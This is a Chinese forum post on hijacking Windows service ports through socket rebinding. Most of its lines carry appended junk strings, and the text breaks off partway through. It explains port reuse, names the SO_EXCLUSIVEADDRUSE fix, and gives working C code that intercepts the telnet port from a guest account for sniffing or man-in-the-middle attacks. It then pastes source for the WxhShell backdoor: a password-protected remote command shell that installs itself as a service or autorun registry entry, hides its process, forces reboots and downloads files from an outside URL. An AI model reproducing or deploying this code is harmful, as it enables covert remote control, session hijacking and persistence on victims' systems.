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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q3SS/eNP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8x{'@WCG%  
 7[wieYj{  
  saddr.sin_family = AF_INET; m#F`] {  
],v=]+R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VD\=`r)nT  
4H<lm*!^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jNy.Y8E&  
T,tdL N-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )F2OT<]m,  
_t #k,;  
  这意味着什么?意味着可以进行如下的攻击: R',rsGd`6j  
^qD$z=z-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cq/$N  
'u |c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tHwMX1 IG  
VZmLS 4E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cP_.&!T  
&AbNWtCV+G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W+ko q*P  
r:ptQo`1-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SmSH2m-  
D2B%0sfl~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j yUCH*@  
;P%1j|7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p xa*'h"b^  
9H`XeQ.  
  #include |_aa&v~  
  #include GH:jH]u!V  
  #include ]R f[y  
  #include    \$T(t/$9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T&u5ki4NE  
  int main() Doyx[zZ  
  { ::{Q1F  
  WORD wVersionRequested; CSq4x5!_7>  
  DWORD ret; \B,@`dw  
  WSADATA wsaData; P%&0]FCx  
  BOOL val; >rKIG~P_  
  SOCKADDR_IN saddr; c?[I?ytl  
  SOCKADDR_IN scaddr; MH9q ;?.J  
  int err; ;LSANr&  
  SOCKET s; UJ7*j%XQz_  
  SOCKET sc; %oa-WmWm  
  int caddsize; *Y7u'v  
  HANDLE mt; W_(j3pV?Ml  
  DWORD tid;   E GU 0)<  
  wVersionRequested = MAKEWORD( 2, 2 ); SdxDa  
  err = WSAStartup( wVersionRequested, &wsaData ); hxd`OG<gF  
  if ( err != 0 ) { 94.DHZqh  
  printf("error!WSAStartup failed!\n"); DJ [#5h5  
  return -1; BdblLUGK#  
  } nIy}#MUd|q  
  saddr.sin_family = AF_INET; Y}|X|!0x  
   vJc-6EO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'RYIW/a  
`1{ZqRFQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V>-e y9Q\  
  saddr.sin_port = htons(23); q"sed]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]e>w }L(gV  
  { %JD,$p Ps  
  printf("error!socket failed!\n"); dkBIx$t  
  return -1; 4,gK[ dc  
  } H-*yh!  
  val = TRUE; *>'V1b4}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P& -Qc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <~'"<HwtK  
  { Wk4s reB  
  printf("error!setsockopt failed!\n"); aPfO$b:  
  return -1; suiS&$-E  
  } A,hJIe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cyv`B3}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z=Y& B>:[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6@ IXqKz  
BmMGx8P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u9GQU  
  { L<-_1!wh  
  ret=GetLastError(); FvXZ<(A{  
  printf("error!bind failed!\n"); \[_t]'p  
  return -1; a /l)qB#  
  } 0s3%Kqi[  
  listen(s,2); g:D>.lKd  
  while(1) |[ k.ii6iO  
  { R0]1xGz  
  caddsize = sizeof(scaddr); (\hx` Yh=>  
  //接受连接请求 i8[t=6Rm@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0g y/:T  
  if(sc!=INVALID_SOCKET) %D}kD6=  
  { |w1Bq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FR4QUk  
  if(mt==NULL) }`QUHIF  
  { JG!mc7  
  printf("Thread Creat Failed!\n"); `maKN\;  
  break; +wvWwie  
  } R_ ,UMt  
  } Ug t.&IA  
  CloseHandle(mt); K'Tm_"[u  
  } ," Wr"  
  closesocket(s); Z/;(f L  
  WSACleanup(); >WQMqQ^t@  
  return 0; Mxsa-?R;v  
  }   k,E{C{^M  
  DWORD WINAPI ClientThread(LPVOID lpParam) EZy)A$|  
  { QP^Cx=  
  SOCKET ss = (SOCKET)lpParam; l7259Ro~  
  SOCKET sc; ]&xk30  
  unsigned char buf[4096]; otl0J Ht*+  
  SOCKADDR_IN saddr; _jI,)sr4ic  
  long num; AOWmzu{zw  
  DWORD val; |\<`Ib4j  
  DWORD ret; v/0QOp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j4qR(p(vC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }=UHbU.n~!  
  saddr.sin_family = AF_INET; E$:*NSXj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W*4-.*U8a  
  saddr.sin_port = htons(23); ox>^>wR*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O=&0H|B  
  { m!4ndO;0vh  
  printf("error!socket failed!\n");  Ins`l  
  return -1; 4(~L#}:r!  
  } X_ cV%#  
  val = 100; {M$1N5Eh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3yY}04[9<  
  { (G u zN  
  ret = GetLastError(); tl4V7!U@^z  
  return -1; m )zUU  
  } kg~mgMR+w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L9 \1+rq  
  { @ ZwvBH  
  ret = GetLastError(); G5RR]?@6V  
  return -1; 5C*Pd Wpl  
  } FQ2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a %'the  
  { _AYK435>N  
  printf("error!socket connect failed!\n"); TJpD{p}  
  closesocket(sc); Ic:(Gi- %  
  closesocket(ss); dvx#q5f_S  
  return -1; }DE g-j,F  
  } B5VKs,g  
  while(1) ygS;$2m%2  
  { y$F'(b| )  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AGO+p(6d=g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ae^~Cz1qz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Co_A/  
  num = recv(ss,buf,4096,0); gQelD6c  
  if(num>0) ?|C2*?hZ+  
  send(sc,buf,num,0); H8^(GUhyp  
  else if(num==0) eRstD>r  
  break; e&F8m%t  
  num = recv(sc,buf,4096,0); vnt%XU,,Y  
  if(num>0) 5 +YH.4R  
  send(ss,buf,num,0); cLJ$M`e  
  else if(num==0) nQtWvT  
  break; R'`qKc  
  } z'U1bMg  
  closesocket(ss); "f2$w  
  closesocket(sc); p* (JjH  
  return 0 ; Lpz>>}  
  } S6M}WR^,  
?.-wnz  
n;Q7X>-f8`  
========================================================== K?Nhi^f"L  
:&rt)/I  
下边附上一个代码,,WXhSHELL k&q;JyUi  
<QAFL uey  
========================================================== V-2(?auZd  
v0+BkfU+p  
#include "stdafx.h" _LUhZlw  
,~$p,ALwN7  
#include <stdio.h> ~ 'H ]jN  
#include <string.h> n;C :0  
#include <windows.h> _|\~q[ep  
#include <winsock2.h> GPv1fearl  
#include <winsvc.h> LTCb@L{^i  
#include <urlmon.h> bMu+TgAT,  
vHc%z$-d  
#pragma comment (lib, "Ws2_32.lib") !r8 `Yrn  
#pragma comment (lib, "urlmon.lib") YQ)kRhFA  
FP`b>E qOH  
#define MAX_USER   100 // 最大客户端连接数 4JXeV&5Qk'  
#define BUF_SOCK   200 // sock buffer 7~% ?#  
#define KEY_BUFF   255 // 输入 buffer *NaB#;+|k`  
=tn)}Y.<e  
#define REBOOT     0   // 重启 0c]/bs{}  
#define SHUTDOWN   1   // 关机 N7QK> "a  
,vawzq[oSy  
#define DEF_PORT   5000 // 监听端口 "'.UU$]d  
Z'W =\rl  
#define REG_LEN     16   // 注册表键长度 "1*:JVG  
#define SVC_LEN     80   // NT服务名长度 o]_dJB  
vjCu4+w($Z  
// 从dll定义API 3E]plj7$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^4hO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xp% v.M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "5!oi]@>(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uc\Kg1{  
e@ 07  
// wxhshell配置信息 hJ? O],4J  
struct WSCFG { 9(7-{,c  
  int ws_port;         // 监听端口 '<xXK@=KEI  
  char ws_passstr[REG_LEN]; // 口令 "ycJ:Xv49  
  int ws_autoins;       // 安装标记, 1=yes 0=no P%VSAh\|n  
  char ws_regname[REG_LEN]; // 注册表键名 ({)+3]x  
  char ws_svcname[REG_LEN]; // 服务名 mb3"U"ohs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |4z IfAO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cn3\kT*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3m)0z{n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >J?fl8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o4,6.1}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SmH=e@y~Lx  
eHZws`W  
}; 1{. |+S Z!  
70nqD>M4  
// default Wxhshell configuration GPudaF{  
struct WSCFG wscfg={DEF_PORT, X-Kh(Z  
    "xuhuanlingzhe", T!kN)#S  
    1, n\'4  
    "Wxhshell", 1#2 I  
    "Wxhshell", B{#I:Rs9  
            "WxhShell Service", (gU!=F?#m  
    "Wrsky Windows CmdShell Service", T/~f~Zz  
    "Please Input Your Password: ", Bahm]2  
  1, |F[+k e  
  "http://www.wrsky.com/wxhshell.exe", KqJs?Won  
  "Wxhshell.exe" hEH?[>9  
    }; }?i0  I  
 `25yE/  
// 消息定义模块 M h}m;NI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gO-  _  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pa3{8x{9m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QO~P7r|A  
char *msg_ws_ext="\n\rExit."; uyWunpT  
char *msg_ws_end="\n\rQuit."; 2- h{N  
char *msg_ws_boot="\n\rReboot..."; q:0N<$63  
char *msg_ws_poff="\n\rShutdown..."; 783,s_  
char *msg_ws_down="\n\rSave to "; >\#*P'y`d  
Eyqa?$R  
char *msg_ws_err="\n\rErr!"; C2I_%nU Z1  
char *msg_ws_ok="\n\rOK!"; ie95rZp  
#q$HQ&k  
char ExeFile[MAX_PATH]; SHgN~ Um  
int nUser = 0; FVbb2Y?R  
HANDLE handles[MAX_USER]; pE0Sw}A:9  
int OsIsNt; _6hQ %hv8  
#p&qUw  
SERVICE_STATUS       serviceStatus; BwpqNQN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b. '-?Nn  
?e4YGOe.  
// 函数声明 _D&598xx  
int Install(void); bsli0FJSh'  
int Uninstall(void); J!(<y(l  
int DownloadFile(char *sURL, SOCKET wsh); Mb}QD~=M  
int Boot(int flag); my1@41 H  
void HideProc(void); Pmx -8w  
int GetOsVer(void); cqkV9f8Ro  
int Wxhshell(SOCKET wsl); pah'>dAL  
void TalkWithClient(void *cs); ~G&dqw/.-U  
int CmdShell(SOCKET sock); SKN`2hD  
int StartFromService(void); RbnVL$c  
int StartWxhshell(LPSTR lpCmdLine); +\]\[6  
CK@@HSm}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  K5h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |wMN}bq|T  
(%6P0*  
// 数据结构和表定义 ="H`V V_  
SERVICE_TABLE_ENTRY DispatchTable[] = t3_O H^  
{ !;A\.~-!G  
{wscfg.ws_svcname, NTServiceMain}, T7%S #0,p  
{NULL, NULL} H*R"ntI?w  
}; ]_gU#,8  
uGGt\.$]s  
// 自我安装 JH9J5%sp  
int Install(void) ZMlm)?m  
{ CAhXQ7w'Z  
  char svExeFile[MAX_PATH]; 2%m BK  
  HKEY key; W{+2/P  
  strcpy(svExeFile,ExeFile); {VRf0c  
H7n>Vx:L-  
// 如果是win9x系统,修改注册表设为自启动 :5<UkN)R(  
if(!OsIsNt) { k4J+J.|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6bC3O4Rw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F$]Pk|,  
  RegCloseKey(key); S,UDezxg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?:q*(EC<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T8$y[W-c  
  RegCloseKey(key); NXrlk  
  return 0; ~$^XP.a.  
    } &h/X ku&0  
  } #\OA)`U  
} DvvK^+-~  
else { 8l`*]1.W<  
ON(kt3.h  
// 如果是NT以上系统,安装为系统服务 ;e*!S}C,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " H\k`.j  
if (schSCManager!=0) zrb}_  
{ I efn$  
  SC_HANDLE schService = CreateService (jE9XxQY  
  ( ?e 4/p  
  schSCManager, b ]KBgZ  
  wscfg.ws_svcname, 4kx N<]  
  wscfg.ws_svcdisp, ;i+jJ4  
  SERVICE_ALL_ACCESS, iH@UTE;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Xr.'(U  
  SERVICE_AUTO_START, x.$FNt(9  
  SERVICE_ERROR_NORMAL, s$j,9uRr  
  svExeFile, tR$NRMZ.  
  NULL, YT,{E,U;  
  NULL, wibNQ`4k  
  NULL, Q=$2c[Uk  
  NULL, =I_'.b  
  NULL &};zvo~P.  
  ); eaU  
  if (schService!=0) eHUOU>&P]  
  { M o|2}nf  
  CloseServiceHandle(schService); !4+<<(B=E  
  CloseServiceHandle(schSCManager); xAm6BB c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $6IJ P\  
  strcat(svExeFile,wscfg.ws_svcname); [$UI8tV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &rR2,3r=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @H8EWTZ  
  RegCloseKey(key); @=u3ZVD  
  return 0; :ShT|n7  
    } 8&dF  
  } HGg@ _9tW  
  CloseServiceHandle(schSCManager); #/37V2E  
} 9M c ae 31  
} Tid aa  
R4d=S4 i  
return 1; 'J|_2*  
} "0TZTa1e  
x,' !gT:j  
// 自我卸载 u ^RxD^=L  
int Uninstall(void) 9lE_nc  
{ |y!A&d=xYn  
  HKEY key; 5!9zI+S|=`  
a8Wwq?@  
if(!OsIsNt) { xgtR6E^k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Y4qS  
  RegDeleteValue(key,wscfg.ws_regname); ?aMOZn?  
  RegCloseKey(key); e+K^A q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}NSR  
  RegDeleteValue(key,wscfg.ws_regname); cB&:z)i4  
  RegCloseKey(key); v &+R^iLE  
  return 0; QmIBaMI#  
  } 0m ? )ROaJ  
} Tm?#M&'  
} T[j,UkgGo  
else { 9_s`{(0?  
Aiea\j Bv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :U x_qB  
if (schSCManager!=0) jZ; =so  
{ A5w6]:f2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8\gjST*  
  if (schService!=0) sx<%2  
  { 1-QS~)+  
  if(DeleteService(schService)!=0) { WuW^GC{7  
  CloseServiceHandle(schService); Yz<1 wt7;  
  CloseServiceHandle(schSCManager); >F&47Yn  
  return 0; sp`Dvqx0  
  } `@s^(hc7i  
  CloseServiceHandle(schService); POR\e|hRT]  
  } ~e.L.,4QZ8  
  CloseServiceHandle(schSCManager); G*v,GR  
} WMg~Y"W  
} %u5]>]M+  
2GStN74Xr  
return 1; 3oG,E;(  
} >-{Hyx  
HUOj0T  
// 从指定url下载文件 ~^b/(  
int DownloadFile(char *sURL, SOCKET wsh) N)>ID(}F1  
{ yR.Ong  
  HRESULT hr; Dn}Jxu'(  
char seps[]= "/"; H 7 ^/q7  
char *token; z&^&K}  
char *file; 6\S~P/PkE  
char myURL[MAX_PATH]; sUm'  
char myFILE[MAX_PATH]; 1g~R/*Jo  
s(roJbJ_;  
strcpy(myURL,sURL); /|&*QLy  
  token=strtok(myURL,seps); 5nVt[Puw  
  while(token!=NULL) Ld-_,-n  
  { *k>n<p3dd  
    file=token; 8sK9G` k  
  token=strtok(NULL,seps); ji,kkipY?w  
  } maR"t+  
,3 u}x,  
GetCurrentDirectory(MAX_PATH,myFILE); ?@ $r  
strcat(myFILE, "\\"); y$R_.KbO  
strcat(myFILE, file); HiJE}V;Vq  
  send(wsh,myFILE,strlen(myFILE),0); @!d{bQd,  
send(wsh,"...",3,0); t@+}8^ M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b*Q&CL  
  if(hr==S_OK) LB?u8>a' I  
return 0; w^0nqh  
else 2T[9f;jM'  
return 1; 5d!-G$ @  
&XUiKnNW  
} 1 I",L&S1  
8|58 H  
// 系统电源模块 =zs`#-^8  
int Boot(int flag) *bpD`s @  
{ sds"%]r g  
  HANDLE hToken; H~z`]5CN  
  TOKEN_PRIVILEGES tkp; Hl |z</*+  
r0 uwPf  
  if(OsIsNt) { DrK{}uM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LvYB7<zk>  
    tkp.PrivilegeCount = 1; ~2khgZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "i W"NFO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t}tEvh  
if(flag==REBOOT) { 07=mj%yV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4)o  
  return 0; "|KP'<8%  
} YQA ,f#  
else { PXNh&N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |*tp16+6  
  return 0; {h`uV/5@`  
} 2*#|Nj=^  
  } v^+Sh|z/  
  else { C8i^P}y  
if(flag==REBOOT) { i@M [>~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rguCp}r  
  return 0; y9}>:pj4  
} ))'<_nD  
else { G+|` 2an  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) / FEVmH?  
  return 0; pBA7,z"`mP  
} PBkt~=j  
} vTw>JNVI  
\.#>=!Ie  
return 1; j]/RC(;?  
} 8StgsM  
N7R!C)!IL  
// win9x进程隐藏模块 !H>R%g#28_  
void HideProc(void) 6ar   
{ :${HQd+  
Jz *;q~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5 5c|O  
  if ( hKernel != NULL ) HBx=\%;n  
  { xbYi.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *N'p~LJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L AAHEv  
    FreeLibrary(hKernel); IG9VdDj  
  } ?R.j^ S^  
u.Tcg^v  
return; 2'MZ s]??w  
} ^\&e:Nkh  
gn".u!9j  
// 获取操作系统版本 FZE"7ec>m  
int GetOsVer(void) Y,t={HiclX  
{ ;)^`3`  
  OSVERSIONINFO winfo; _?0}<k Q&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t "'7m^j  
  GetVersionEx(&winfo); UVIKQpA]A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >y:,9;  
  return 1; 1gN=-AC  
  else 0o*8#i/)!3  
  return 0; [>5-$YOT  
} 6h,(wo3Y  
' x35=@  
// 客户端句柄模块 =uYYsC\T  
int Wxhshell(SOCKET wsl) 8::$AQL3  
{ mg.kr:  
  SOCKET wsh; 6?~"V  
  struct sockaddr_in client; 0eu$ W  
  DWORD myID; } .y 1;.  
xx9 g''Q  
  while(nUser<MAX_USER) MC:@U~}6  
{ [o+q>|q  
  int nSize=sizeof(client); |My4SoOF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KP5C} ZK+s  
  if(wsh==INVALID_SOCKET) return 1; %Ax3;g#  
rb+j*5Es  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E`de7  
if(handles[nUser]==0) kbMWGB%;  
  closesocket(wsh); g+>(dnX  
else ~T,c"t2  
  nUser++; v~V!ayn)wQ  
  } |\IN.W[EL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); usK*s$ns  
Zxs|%bQ  
  return 0; Q&=w_Wc  
} MWpQ^dL_  
%r}{hq4  
// 关闭 socket \T:i{.i  
void CloseIt(SOCKET wsh) "wn zo,  
{ QoIT*!  
closesocket(wsh); IIF] /Ek]  
nUser--; J1I ;Jgql(  
ExitThread(0); a>]uU*Xm  
} ?Unb? {,&2  
,<tX%n`v=  
// 客户端请求句柄 [] `&vWZ  
void TalkWithClient(void *cs) W~~7 C,!  
{ vAh6+K.e  
u:gN?O/G  
  SOCKET wsh=(SOCKET)cs; W;L7SF g)  
  char pwd[SVC_LEN]; F{Jw ^\  
  char cmd[KEY_BUFF]; %gyLCTw  
char chr[1]; KB`!Sj\  
int i,j; L> 9V&\  
G{ sOR  
  while (nUser < MAX_USER) { Avd ^  
")dH,:#S  
if(wscfg.ws_passstr) { Ba*,-i3ZK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _w/EP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =2zJ3&9  
  //ZeroMemory(pwd,KEY_BUFF); m~P CB_ifW  
      i=0; M/ni6%x  
  while(i<SVC_LEN) { */|lJm'R  
O[s{ Gk'>  
  // 设置超时 7/ysVWt  
  fd_set FdRead; I)cFG{~L  
  struct timeval TimeOut; 6@e+C;j =  
  FD_ZERO(&FdRead); ;WM"cJo9  
  FD_SET(wsh,&FdRead); KJ=6n%6  
  TimeOut.tv_sec=8; ZP *q4:  
  TimeOut.tv_usec=0; {7;8#.S72  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $8xl#SqH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v!Pb`LCqK  
^3{TZ=_;|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QP)pgAc  
  pwd=chr[0]; X*39c b(b  
  if(chr[0]==0xd || chr[0]==0xa) { `m>*d!h=  
  pwd=0; s3O} 6  
  break; &nkW1Ner9  
  } Y/ee~^YxK'  
  i++; Q/I! }C4  
    } ~j5x+yC  
\"^w'ng  
  // 如果是非法用户,关闭 socket T[uiPs /xD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Jy'# c  
} SWQ5fcPu  
W$rH"_@m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zG9Y!SY\-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x~{;TZa[I  
/yF QeE  
while(1) { ;F#7Px(q  
xw T%),  
  ZeroMemory(cmd,KEY_BUFF); H5]^ 6 HwX  
[y)`k@  
      // 自动支持客户端 telnet标准   A~ +S1  
  j=0; 0B&Y ]*  
  while(j<KEY_BUFF) { WxJf{=-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wUQw!%?>  
  cmd[j]=chr[0]; |- rI@2`  
  if(chr[0]==0xa || chr[0]==0xd) { UIAj]  
  cmd[j]=0; <Ib[82PU  
  break; _~tEw.fM5  
  } \eb|eN0i  
  j++; RE=+ Dz{  
    } z=_Ef3`M  
}kK[S|XVO  
  // 下载文件 FwY&/\J7V  
  if(strstr(cmd,"http://")) { !x>%+&c>k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]%Nlv(  
  if(DownloadFile(cmd,wsh)) n;p:=\uN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qb; d:@9  
  else ,H2D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "/6:6`J  
  } PN<C=gAe  
  else { RUUk f({(  
|vMpXiMxxT  
    switch(cmd[0]) { "zY](P  
  @]c(V%x   
  // 帮助 b}w C|\s  
  case '?': { ls`,EFF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); { "xln/  
    break; o|iYd n\  
  } RQB]/D\BO  
  // 安装 $DC*i-}qFg  
  case 'i': { zT|)uP*  
    if(Install()) 2Nm>5l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'K*AV7>E  
    else 9lj!C '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Jh: 8BNuP  
    break; p!V>XY'N^  
    } {d%&zvJnD  
  // 卸载 y}K\%;`[a  
  case 'r': { ;.Ie#Vr1N  
    if(Uninstall()) T y@=yA17  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.eeO k  
    else W85@v2b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1zvgep  
    break; XJ+6FT/qss  
    } g3sUl&K  
  // 显示 wxhshell 所在路径 nGf);U#K  
  case 'p': { $hVYTy~}  
    char svExeFile[MAX_PATH]; yag}fQ(XH  
    strcpy(svExeFile,"\n\r"); q *AQq=  
      strcat(svExeFile,ExeFile); o{kbc5_  
        send(wsh,svExeFile,strlen(svExeFile),0); '[(nmx'yVJ  
    break; b2^AP\: k  
    } ,kp\(X[J  
  // 重启 cj|*_}  
  case 'b': { Na,_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HFQR ;9]  
    if(Boot(REBOOT)) uH^ PQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5Tvsw`  
    else { Ti;Ijcq8  
    closesocket(wsh); 7ji=E";.w  
    ExitThread(0); X#U MIlU  
    } ZDYJhJ.  
    break; [r OaM$3|  
    } kF V7l  
  // 关机 >Dg#9  
  case 'd': { 6ZqgY1  
